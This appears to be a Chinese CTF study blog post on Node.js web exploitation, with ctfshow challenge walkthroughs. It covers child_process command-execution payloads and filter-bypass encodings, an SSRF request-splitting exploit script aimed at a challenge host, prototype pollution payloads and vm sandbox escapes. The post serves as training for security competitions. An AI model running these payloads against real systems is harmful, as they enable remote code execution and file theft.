Web_11_Node.js
Charmersix

Node.js基础

简单的说nodejs就是运行在服务端的JavaScript, Node.js是一个基于chrome JavaScript运行时建立的一个平台, Node.js是一个事件驱动I/O服务端JavaScript环境, 基于Google的V8引擎, V8引擎执行Javascript的速度非常快,性能非常好。在浏览器控制台或者node的运行环境都属于repl运行环境, 均可运行JavaScript代码

在Node.js中分为三个模块, 分别是: 核心模块/自定义模块/第三方模块

这里提一点, JavaScript在编程时, 如果需要使用某个模块的功能, 那么就需要提前将其导入, 与Python类似, 只不过在Python中使用import关键字, 而在JavaScript中使用require关键字

Node.js 安装

大家可以自行去菜鸟学习安装配置

安装完成后, 大家可以在命令行测试一下image-20230515163600122

读取文件操作

文件系统模块就是核心模块6c44bbeca90854f4fb2b4a0abbe350c8.png

fs文件操作模块, 同步函数: readFileSync; 异步函数: readFile

区别:

同步方法: 等待每个操作完成, 然后执行下一个操作 (先吃饭再看电视)

异步方法: 从不等待每个操作完成, 而是旨在第一步执行所有操作 (边吃饭边看电视)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var fs = require('fs');

//异步读取
fs.readFile('./test.txt', function (err, data){
if (err) {
return console.error(err)
}
console.log("异步读取:" + data.toString());
});
//同步读取
var data = fs.readFileSync('./test.txt')
console.log("同步读取:" + data.toString());

console.log("程序执行完毕")

image-20230515220143920

当你先读取文件输出后输出一段话的时候
同步:先输出文件内容,再输出一段话
异步:先输出一段话,后输出文件内容

读取文件操作, 下面会在CTF例题中用到. 显示了读取文件的各种姿势

全局变量

  • __dirname: 当前模块的目录名
  • __filename: 当前模块的文件名, 这是当前模块文件的绝对路径(符号链接会被解析)
  • exports变量是默认赋值给module.exports, 它可以被赋予新值, 它会暂时不会绑定到module.exports
  • module: 在每个模块中, module的自由变量是对表达当前模块的对象的引用. 为方便起见, 还可以通过全局模块的exports访问module.exports module实际上不是全局的, 而是每个模块本地的
  • require模块是引入模块, json或者本地文件, 可以从node_modules引入模块
1
2
3
4
5
//引入json文件
const jsonData = require('./path/filename.json');

//引入 node_modules 模块或者 Node.js 内置模块
const crypto = require('crypto');

自行设置:

1
global.charmersix=6

image-20230515231500078

经常使用的全局变量是__dirname, __filename

HTTP服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//引入http核心模块
var http = require('http');
//创建一个服务
var server = http.createServer();
//绑定链接
server.on('request', function (res,rs){
console.log(res.method); //打印请求方式
rs.write('hello,world'); //返回数据
rs.end(); //断开连接
})
//启动监听
server.listen(8686,function (){
console.log('请访问127.0.0.1:8686')
})

image-20230516001045104

child_process(创建子进程)

child_process提供了几种创建子进程的方式

异步方法: spawn、exec、execFile、fork

同步方法: spawnSync、execSync、execFileSync

经过上面的同步和异步思想的理解, 创建子进程的同步异步方式应该不难理解

在异步创建进程时, spawn是基础, 其他的fork/exec/execFile都是基于spawn来生成的

同步创建进程可以使用child_process.spawnSync()child_process.execSync()child_process.execFileSync(), 同步的方法会阻塞Node.js事件循环、暂停任何其他代码的执行, 直到子进程退出.

Node.js特性

大小写特性

1
2
toUpperCase()
toLowerCase()

对于toUpperCase(): 字符"ı""ſ" 经过toUpperCase处理后结果为 "I""S"
对于toLowerCase(): 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

弱类型比较

大小比较
1
2
3
4
5
6
console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false

image-20230516213005069

总结: 数字与字符串比较时, 会优先将纯数字型字符串转化为数字之后再进行比较; 而字符串与字符串比较时, 会将字符串的第一个字符转化为ASCII码之后再进行比较, 因此就会出现第五行代码这种情况; 而非数字型字符串与任何数字进行比较都是false

数组比较
1
2
3
4
5
6
console.log([]==[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2'); //true
console.log([11,16]<'10'); //false

image-20230516215354747

总结: 空数组之间比较永远为false, 数组之间比较只比较数组间的第一个值, 对第一个值采用前面总结的比较方法, 数组与非数值型字符串比较, 数组永远小于非数值型字符串, 数组与数值型字符串比较, 取第一个之后按前面总结的方法进行比较

一些比较特别的相等
1
2
3
4
console.log(null==undefined); //true
console.log(null===undefined); //false
console.log(NaN==NaN); //false
console.log(NaN===NaN); //false

image-20230516221145458

变量拼接
1
2
3
4
console.log(5+[6,3]); //56,3
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

image-20230516221509604

MD5的绕过

1
a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

a[x]=1&b[x]=2

数组会被解析成[object Object]

1
2
3
4
5
6

a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

image-20230516221853272

1
2
3
4
5
a=[1]
b=[2]

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

image-20230516222009060

编码绕过

16进制编码
1
console.log("a"==="\x61"); //true
Unicode编码
1
console.log("\u0061"==="a"); //true
base编码
1
eval(Buffer.from('Y29uc29sZS5sb2coImhlbGxvIHdvcmxkIik7','base64').toString());

image-20230516223000824

Node.js危险函数的利用

命令执行/代码执行

exec()
1
require('child_process').exec('calc');

image-20230516223535560

eval()
1
2
console.log(eval("document.cookie")); //执行document.cookie
console.log("document.cookie"); //输出document.cookie

文件读写

readFileSync()
1
2
3
4
require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => {
if (err) throw err;
console.log(data);
});
readFile()
1
require('fs').readFileSync('/etc/passwd','utf-8')
writeFileSync()
1
require('fs').writeFileSync('input.txt','sss');
writeFile()
1
require('fs').writeFile('input.txt','test',(err)=>{})

RCE_ByPass

原型

1
require('child_process').exec('calc');

字符拼接

1
2
3
require('child_process')['exe'+'cSync']('calc'); //web中+记得url编码一下\

require('child_process')["exe".concat("cSync")]("calc");

image-20230517203250784

image-20230517203416567

编码绕过

1
2
3
4
5
require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('calc');

require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('calc');

eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdjYWxjJyk7','base64').toString());

image-20230517204029425

模板拼接

1
require("child_process")[`${`${`exe`}cSync`}`]('calc')

image-20230517210050150

其他函数

1
2
3
4
5
6
require("child_process").exec("sleep 3"); 
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); *//调用某个可执行文件,在第二个参数传args*
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);

Node.js中的ssrf

通过拆分请求实现的ssrf攻击

原理

虽然用户发出的HTTP请求通常将请求路径指定为字符串, 但node.js最终必须将请求作为原始字节输出. JavaScript支持Unicode字符串, 因此将他们转换为字节意味着选择并应用适当的Unicode编码. 对于不包含主体的请求, Node.js默认使用latin1, 这是一种单字节编码, 不能表示高编码的Unicode字符, 相反, 这些字符被截断为其JavaScript表示的最低字节

1
2
3
4
5
> v = "/caf\u{E9}\u{01F436}"
'/café🐶'

> Buffer.from(v,'latin1').toString('latin1')
'/café=6'

image-20230517211743170

Crlf HTTP头注入

1
2
> require('http').get('http://example.com/\r\n/test')._header
'GET //test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n'

image-20230517212859932

通过crlf结合ssrf利用

通过一个题目学习一下

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path'); // 处理文件路径
var http = require('http');
var pug = require(`pug`); // 模板渲染
var morgan = require('morgan'); // 日志中间件
const multer = require('multer'); // 用于处理multipart/form-data类型的表单数据,实现上传功能;个人一般使用formidable实现上传

// 将上传的文件存储在./dist[自动创建]返回一个名为file的文件数组
app.use(multer({dest: './dist'}).array('file'));
// 使用简化版日志
app.use(morgan('short'));

// 静态文件路由
app.use("/uploads", express.static(path.join(__dirname, '/uploads')))
app.use("/template", express.static(path.join(__dirname, '/template')))

app.get('/', function (req, res) {
// GET方法获取action参数
var action = req.query.action ? req.query.action : "index";
// action中不能包含/ & \
if (action.includes("/") || action.includes("\\")) {
res.send("Errrrr, You have been Blocked");
}
// 将/template/[action].pug渲染成html输出到根目录
file = path.join(__dirname + '/template/' + action + '.pug');
var html = pug.renderFile(file);
res.send(html);
});

app.post('/file_upload', function (req, res) {
var ip = req.connection.remoteAddress; // remoteAddress无法伪造,因为TCP有三次握手,伪造源IP会导致无法完成TCP连接
var obj = {msg: '',}
// 请求必须来自localhost
if (!ip.includes('127.0.0.1')) {
obj.msg = "only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function (err, data) {
if (err) {
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
} else {
// 文件路径为/uploads/[mimetype]/filename,mimetype可以进行目录穿越实现将文件存储至/template并利用action渲染到界面
var file_path = '/uploads/' + req.files[0].mimetype + "/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if (!fs.existsSync(__dirname + file_path)) {
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file, data)
obj = {msg: 'upload success', filename: file_path + file_name}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})

// 查看题目源码
app.get('/source', function (req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});

app.get('/core', function (req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
// 对url字符进行waf
var trigger = blacklist(url);
if (trigger === true) {
res.send("error occurs!");
} else {
try {
// node对/source发出请求,此处可以利用字符破坏进行切分攻击访问/file_upload路由(❗️此请求发出者为localhost主机),实现对remoteAddress的绕过
http.get(url, function (resp) {
resp.setEncoding('utf8');
resp.on('error', function (err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
}
});
// 返回结果输出到/core
resp.on('data', function (chunk) {
try {
resps = chunk.toString();
res.send(resps);
} catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);
});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})

// 关键字waf 利用字符串拼接实现绕过
function blacklist(url) {
var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];
var arrayLen = evilwords.length;

for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}

var server = app.listen(8081, function () {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})

攻击流程

  1. /core路由发起切分攻击, 请求/core的同时还向/source路由发出上传文件的请求
  2. 由于/路由是先读取/template目录下的pug文件再将其渲染到当前界面, 因此应该上传包含命令执行的pug文件, 文件虽然默认上传至/upload/目录下, 但可以通过目录穿越将文件上传到/template目录
  3. 访问上传到/template目录下包含命令执行的pug文件

大概看一下几个路由:

  • /:会包含/template目录下的一个pug模板文件并用pub模板引擎进行渲染
  • /source:回显源码
  • /file_upload:限制了只能由127.0.0.1的ip将文件上传到uploads目录里面,所以需要进行ssrf。并且我们可以通过控制mimetype进行目录穿越,从而将文件上传到任意目录。
  • /core:通过q向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤,但是这里的黑名单可以直接用字符串拼接绕过。

nodejs在版本号小于8.x的时候存在unicode字符损坏导致的漏洞,而这个题目的版本刚好对的上(但是buu上的这个题并没有说版本),简单来说就是Unicode在解析的时候由于解码的类型问题导致部分被截断,字符出现变形,而原字符并非会被转义的危险字符造成的安全漏洞,具体就是先知社区这篇文章
https://xz.aliyun.com/t/2894#toc-2

所以构造一下payload,通过换行符使得服务器在core中发出的一次http请求变成两次,并且第二次请求内容我们完全可控
可以先去upload目录上传文件抓一个包作为文件上传的模板,构造一下,赵总和出题人有两套不同的脚本构造字符,但是没有一个人说明这些字符是怎么构造出来的,并且两个脚本不互通,分别能用,但是尝试用赵总的脚本放一个命令执行的payload时直接把buu的环境打到了404。。。被迫重新开环境

关于waf的绕过,想过直接二次编码绕过,因为这种ssrf发到服务器一次解码,服务器再发送到服务器二次解码,而检测只发生在第一次解码时,二次编码理论上超级绕过,但是这里编码需要把整个payload编码一遍,导致的结果就是第二个http包的部分内容也来了个二次编码,比如filename那里,在第二次发包的时候属于header内容,二次编码但解码只有一次(解码只对post和get提交的数据进行),会导致文件名有问题,但是那里如果只编码一次就会造成blacklist里面的引号限制过不去,所以说到底还是需要用截断字符这种编码方式去构造一个完全无关的字符而截断后却完全可利用的方式去攻击

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 266
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryG01qmiZ5h6Ap0QSc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:8081/?action=upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryG01qmiZ5h6Ap0QSc
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template

doctype html
html
head
style
include ../../../../../../../flag.txt
------WebKitFormBoundaryG01qmiZ5h6Ap0QSc--

GET / HTTP/1.1
test:'''.replace("\n", "\r\n")

def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100+ord(i))
return ret

payload = payload_encode(payload)
print(payload)

r = requests.get('http://057e3adb-a0dd-4ef8-b06c-b64f535de269.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
print(r.text)

运行, 然后访问http://057e3adb-a0dd-4ef8-b06c-b64f535de269.node4.buuoj.cn:81/?action=shell即可

Node.js原型链污染

prototype__proto__

在JavaScript中, prototype对象是实现面向对象的一个重要机制

它是函数所独有的, 它是从一个函数指向一个对象

它的含义是函数的原型对象, 也就是构造函数所创建的实例的原型对象

它就相当于是类的一个实例的模板, 原型的对象. 生成的对象都会参照这个原型对象; 生成实例化对象时, 如果自己没有的属性prototype有, 就会继承此属性, 有的话则不会覆盖

例如下面这段js代码

1
2
3
4
5
6
7
8
function Foo(){
this.bar = 1
}
Foo.prototype.show = function show(){
console.log(this.bar)
}
let foo = new Foo()
foo.show()

image-20230518230629422

可以看到, 我们可以通过prototype属性, 指向到这个函数的原型对象中然后创建一个show()函数, 功能输出为this.bar

我们可以认为原型 prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上面中的foo对象,其天生就具有foo.show()方法。

如上面所说, 我们可以通过Foo.prototype来访问Foo类的原型, 但Foo实例化出来的对象, 是不能通过prototype访问原型的, 这时候就该__proto__登场了

不同于prototype是函数特有的, 它是对象所独有的, proto属性都是由一个对象指向一个对象, 即指向它们的原型对象(也可以理解为父对象)

一个Foo类实例化出来的Foo对象, 可以通过foo.__proto__属性来访问Foo类的原型, 也就是说: foo.__proto__===Foo.prototype(True)

即: prototype是一个类的属性, 所有类对象在实例化的时候将会拥有prototype中的属性和方法. 一个对象的__proto__属性, 指向这个对象所在类的prototype属性

原型链继承思想

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}

Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

console.log(son.__proto__)
console.log(son.__proto__.__proto__)
console.log(son.__proto__.__proto__.__proto__)

image-20230519140542089

Son类继承了Father类的last_name属性, 最后输出的是Name: Melania Trump

总结: 对于对象son, 在console.log()调用son.last_name的时候, 实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name
  2. 如果找不到, 则在son.__proto__中寻找last_name
  3. 如果仍然找不到, 则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找, 直到找到null结束, 比如, Object.prototype的__proto__就是null

类似于Java里面继承的思想, 如果子类没有这个属性, 往上继承父类, 有的话就自己用自己的多态

JavaScript的这个查找机制, 被运用在面向对象的继承中, 被称作prototype继承链

  1. 每个构造函数(constructor)都有一个原型对象
  2. 对象的__proto__属性, 指向类的原型对象prototype
  3. JavaScript使用prototype链实现继承机制

原型链定义及如何污染

原型链的核心就是依赖对象__proto__的指向, 当访问的属性在该对象不存在时, 就会向上从该对象构造函数的prototype进行查找, 直至查找到object的原型null为止

c0612f55a3c8bd31514ab2a1fafaf0be.png

由于对象之前存在继承关系, 所以当我们要使用或者输出一个变量就会通过原型链向上搜索, 当上层没有就会再向上上层搜索, 直到指向null, 若此时还为找到就会返回underfined

图中原型链是cat->Cat.prototype->Object.prototype->null

d280c12fd0ac041ae669f63076b8cec8.png

原型链污染就是修改其构造函数中的属性值, 使其他通过该构造函数实例化出的对象也具有这个属性的值\

由于对象是无序的, 当使用第二种方式访问对象时, 只能使用指明下标的方式去访问

下面我们看一个简单的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//foo是一个简单的JavaScript对象
let foo = {bar:1}

//foo.bar 此时为1
console.log(foo.bar)

//修改foo的原型 (即Object)
foo.__proto__.bar = 2

//由于查找顺序的原因, foo.bar仍然是1
console.log(foo.bar)

console.log(foo.__proto__)

// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)

image-20230519223604045

首先建立一个foo对象, 有一个bar属性为1, 此时它的原型对象并没有, 后面通过foo.__proto__指向它的原型对象, 也就是等价于是foo.prototype, 即Object, 给Object原型对象增加了bar属性, 值为2, 现在Object有了一个bar=2的prototype原型对象, 是空的

但是在我们输出zoo.bar的时候, Node.js的引擎就开始在zoo中查找, 发现没有, 去zoo.__proto__中查找, 即在Object中查找, 而我们的foo.prototype.bar=2, 就是给Object添加了一个bar属性, 而这个属性被zoo继承

这种修改了一个某个对象的原型对象,从而控制别的对象的操作,就是原型链污染

原型链污染配合RCE

有原型链污染的前提下, 我们可以控制基类的成员, 赋值为一串恶意代码, 从而导致代码注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//foo是一个简单的JavaScript对象
let foo = {bar:1}

//foo.bar 此时为1
console.log(foo.bar)

//修改foo的原型 (即Object)
foo.__proto__.bar = require('child_process').execSync('calc');


//由于查找顺序的原因, foo.bar仍然是1
console.log(foo.bar)

// console.log(foo.__proto__)

// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)

image-20230519225132549

vm沙箱逃逸

merge操作导致原型链污染

其实找找能够控制数组(对象)的”键名”的操作即可设置__proto__的值

  • 对象merge
  • 对象clone (其实内核就是将待操作的对象merge到一个空对象中)

merge操作时最常见的可能控制键名的操作, 也最可能被原型链攻击

以对象merge为例, 我们想象一个简单的merge函数:

1
2
3
4
5
6
7
8
9
10
function merge(target, source) {
for (let key in source){
if (key in source&& key in target){
merge(target[key], source[key])

}else {
target[key] = source[key]
}
}
}

在合并过程中, 存在赋值的操作target[key] = source[key], 那么, 这个key如果是__proto__(json格式才可以被当成key), 是不是就可以原型污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function merge(target, source) {
for (let key in source){
if (key in source&& key in target){
merge(target[key], source[key])

}else {
target[key] = source[key]
}
}

}

let object1 = {}
let object2 = JSON.parse('{"a":1, "__proto__":{"b":2}}')
merge(object1, object2)
console.log(object1.a , object1.b)

object3 = {}
console.log(object3.b)

需要注意的点是:

在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。

ejs污染

参考: Express+lodash+ejs: 从原型链污染到RCE - evi0s’ Blog

lodash污染

参考: CVE-2019-10744

1
loadash.defaultsDeep(obj.JSON.parse(objstr));

只需要有objstr

1
{"content":{"prototype":{"constructor":{"a":"b"}}}}

在合并时便会在Object上附加a=b这样一个属性

lodash是一个非常流行的JavaScript工具库

1
2
3
4
5
6
7
8
9
10
11
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}

check();

运行上面的js语句,就可以检查这个版本的lodash是否存在这个漏洞。

其中漏洞关键触发点在defaultsDeep函数,它将({}, JSON.parse(payload))merge时,就可能导致原型链污染。使用JSON.parse就是保证合并时能以字典解析,而不是字符串

JQuery污染

参考: CVE-2019-11358

版本小于3.4.0时 JQuery存在原型链污染漏洞

1
2
3
4
5
6
$.extend(true,{},JSON.parse('{"__proto__":{"aa":"hello"}}'))
{aa: 'hello'}
var b = 1.2;
undefined
b.aa;
'hello'

image-20230522211842808

Jquery可以用$.extend将两个字典merge,而这也因此污染了原型链。

vm沙箱逃逸

参考: mongo-express RCE(CVE-2019-10758)

vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸

例子

1
2
3
const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);

执行之后可以获取主程序环境中的环境变量

上面代码等价于下面代码

1
2
3
4
5
6
const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);

创建vm环境时, 首先要初始化一个对象sandbox, 这个对象就是vm中脚本执行时的全局环境context, vm脚本中全局this指向的就是这个对象

因为this.constructor.constructor返回的是一个Function constructor, 所以可以利用function对象构造一个函数并执行. (此时function对象的上下文环境就是处于主程序中的)这里构造函数内的语句是return this.process.env, 结果是返回了主程序的环境变量

配合chile_process.exec()就可以执行任意命令了:

1
2
3
const vm = require('vm');
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('calc').toString()`);
console.log(env);

image-20230522213535305

做几个题(CTFshow)

web334

由前置知识可知

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

所以用ctfſhow 123456登录就可以出flag了

但是这题其实直接用小写的ctshow就可以绕过

web335

看见提示image-20230523212452706

猜测后端为eval()代码执行

尝试一下rce

1
require('child_process').execSync('tac f*').toString()

image-20230523212854074

也可以借鉴yu师傅的

1
require( 'child_process' ).spawnSync( 'tac', [ 'fl00g.txt' ] ).stdout.toString()

或者使用fs读文件

1
2
?eval=require('fs').readdirSync('.')  //查看当前目录
?eval=require('fs').readFileSync('fl00g.txt') //读取文件

web336

过滤了execSync

可以使用上面说的spawnSync或者fs

也可以使用拼接绕过/编码绕过等等

这里简单写几个payload, 其实是上面RCE_ByPass已经提到过的

1
2
3
4
require('child_process')["exe".concat("cSync")]("ls").toString() //拼接绕过
require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('calc').toString() //编码绕过
require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('calc').toString()
eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCd0YWMgZionKTs=','base64').toString());

image-20230523220634108

web337

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

md5绕过 like php

1
2
a[x]=1&b[x]=2
b[]=1&a[]=1

image-20230523222425835

image-20230523222603331

web338

重点在于login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

可以看到flag就在这里, 要想获得flag, 就需要使得secert.ctfshow==='36dboy', 我们可以发现这里有个utils.copy , 就类似于merge函数, 存在原型污染

payload:

1
2
3
{"username":"ctfhsow","password":"ctfhsow",
"__proto__":{"ctfshow":"36dboy"}
}

image-20230610224701902

 Comments